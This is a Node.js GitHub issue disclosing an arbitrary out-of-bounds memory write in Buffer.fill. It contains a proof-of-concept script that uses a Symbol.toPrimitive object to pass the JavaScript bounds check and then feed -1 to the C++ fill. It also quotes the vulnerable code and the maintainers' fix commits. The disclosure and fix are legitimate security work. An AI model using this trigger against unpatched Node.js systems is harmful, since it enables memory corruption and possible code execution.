Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Buffer.fill has an out of bounds (arbitrary) memory write #9149

Closed
deian opened this issue Oct 18, 2016 · 1 comment
Closed

Buffer.fill has an out of bounds (arbitrary) memory write #9149

deian opened this issue Oct 18, 2016 · 1 comment
Labels
buffer Issues and PRs related to the buffer subsystem.

Comments

@deian
Copy link
Member

deian commented Oct 18, 2016

  • Version: 6.5.0
  • Platform: Linux
  • Subsystem:

We can trigger a write to the location of our choice using the code in buff_write.js:

// Allocate a buffer
buff = Buffer.alloc(1);
ctr = 0

// Define start as an object instead of a number. When comparisons are
// called, they will call the underlying toPrimitive with the hint "number".
// We can define this function:
var start = {
    [Symbol.toPrimitive](hint) {
      if (ctr <= 0) {
          // We use this condition to get around the check in lib/buffer.js
          console.log("Returning 0, benign start")
          ctr = ctr + 1;
          return 0;
      } else {
          // Once buffer.js calls the C++ implemenation of fill, return -1
          console.log("Returning minus one");
          return -1;
      }
    }
};

newbuff = buff.fill(/* supply buf of your choosing; buf if you just want to crash*/, start, 1);

Relevant JavaScript code from lib/buffer.js:695:

function fill(val, start, end, encoding) {
...
// We avoid these bounds checks with the ctr
if (start < 0 || end > this.length)
  throw new RangeError('Out of range index');
...
binding.fill(this, val, start, end, encoding);
}

Relevant C++ code from src/node_buffer.cc:604:

size_t start = args[2]->Uint32Value(); // calls user-defined Javascript.
// start is now equal to our malicious value of -1, or a really big size_t
size_t end = args[3]->Uint32Value();
size_t fill_length = end - start;
...
// because start wraps around (its really big), we pass this check
CHECK(fill_length + start <= ts_obj_length);

if (Buffer::HasInstance(args[1])) {
  SPREAD_ARG(args[1], fill_obj);
  str_length = fill_obj_length;
  // now we write to ts_obj_data + start, which is the wrapped-around value
  // that we control. you can use pretty much any negative value.
  memcpy(ts_obj_data + start, fill_obj_data, MIN(str_length, fill_length));
  ...
}
@mscdex mscdex added the buffer Issues and PRs related to the buffer subsystem. label Oct 18, 2016
@mscdex
Copy link
Contributor

mscdex commented Oct 18, 2016

/cc @nodejs/buffer

trevnorris added a commit to trevnorris/node that referenced this issue Oct 20, 2016
Using the black magic of Symbol.toPrimitive the numeric value of
start/end can be changed when Uint32Value() is called once
Buffer::Fill() is entered. Allowing the CHECK() to be bypassed.

The bug report was only for "start", but the same can be done with
"end". Perform checks for both in node::Buffer::Fill() to make sure the
issue can't be triggered, even if process.binding is used directly.

Include tests for each case. Along with a check to make sure the last
time the value is accessed returns -1. This should be enough to make
sure Buffer::Fill() is receiving the correct value. Along with two tests
against process.binding directly.

Fixes: nodejs#9149
PR-URL: nodejs#9174
Reviewed-By: James M Snell <jasnell@gmail.com>
Reviewed-By: Franziska Hinkelmann <ranziska.hinkelmann@gmail.com>
Reviewed-By: Ben Noordhuis <info@bnoordhuis.nl>
jasnell pushed a commit that referenced this issue Oct 20, 2016
Using the black magic of Symbol.toPrimitive the numeric value of
start/end can be changed when Uint32Value() is called once
Buffer::Fill() is entered. Allowing the CHECK() to be bypassed.

The bug report was only for "start", but the same can be done with
"end". Perform checks for both in node::Buffer::Fill() to make sure the
issue can't be triggered, even if process.binding is used directly.

Include tests for each case. Along with a check to make sure the last
time the value is accessed returns -1. This should be enough to make
sure Buffer::Fill() is receiving the correct value. Along with two tests
against process.binding directly.

Fixes: #9149
PR-URL: #9174
Reviewed-By: James M Snell <jasnell@gmail.com>
Reviewed-By: Franziska Hinkelmann <ranziska.hinkelmann@gmail.com>
Reviewed-By: Ben Noordhuis <info@bnoordhuis.nl>
MylesBorins pushed a commit that referenced this issue Dec 20, 2016
Using the black magic of Symbol.toPrimitive the numeric value of
start/end can be changed when Uint32Value() is called once
Buffer::Fill() is entered. Allowing the CHECK() to be bypassed.

The bug report was only for "start", but the same can be done with
"end". Perform checks for both in node::Buffer::Fill() to make sure the
issue can't be triggered, even if process.binding is used directly.

Include tests for each case. Along with a check to make sure the last
time the value is accessed returns -1. This should be enough to make
sure Buffer::Fill() is receiving the correct value. Along with two tests
against process.binding directly.

Fixes: #9149
PR-URL: #9174
Reviewed-By: James M Snell <jasnell@gmail.com>
Reviewed-By: Franziska Hinkelmann <ranziska.hinkelmann@gmail.com>
Reviewed-By: Ben Noordhuis <info@bnoordhuis.nl>
MylesBorins pushed a commit that referenced this issue Dec 21, 2016
Using the black magic of Symbol.toPrimitive the numeric value of
start/end can be changed when Uint32Value() is called once
Buffer::Fill() is entered. Allowing the CHECK() to be bypassed.

The bug report was only for "start", but the same can be done with
"end". Perform checks for both in node::Buffer::Fill() to make sure the
issue can't be triggered, even if process.binding is used directly.

Include tests for each case. Along with a check to make sure the last
time the value is accessed returns -1. This should be enough to make
sure Buffer::Fill() is receiving the correct value. Along with two tests
against process.binding directly.

Fixes: #9149
PR-URL: #9174
Reviewed-By: James M Snell <jasnell@gmail.com>
Reviewed-By: Franziska Hinkelmann <ranziska.hinkelmann@gmail.com>
Reviewed-By: Ben Noordhuis <info@bnoordhuis.nl>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
buffer Issues and PRs related to the buffer subsystem.
Projects
None yet
Development

No branches or pull requests

2 participants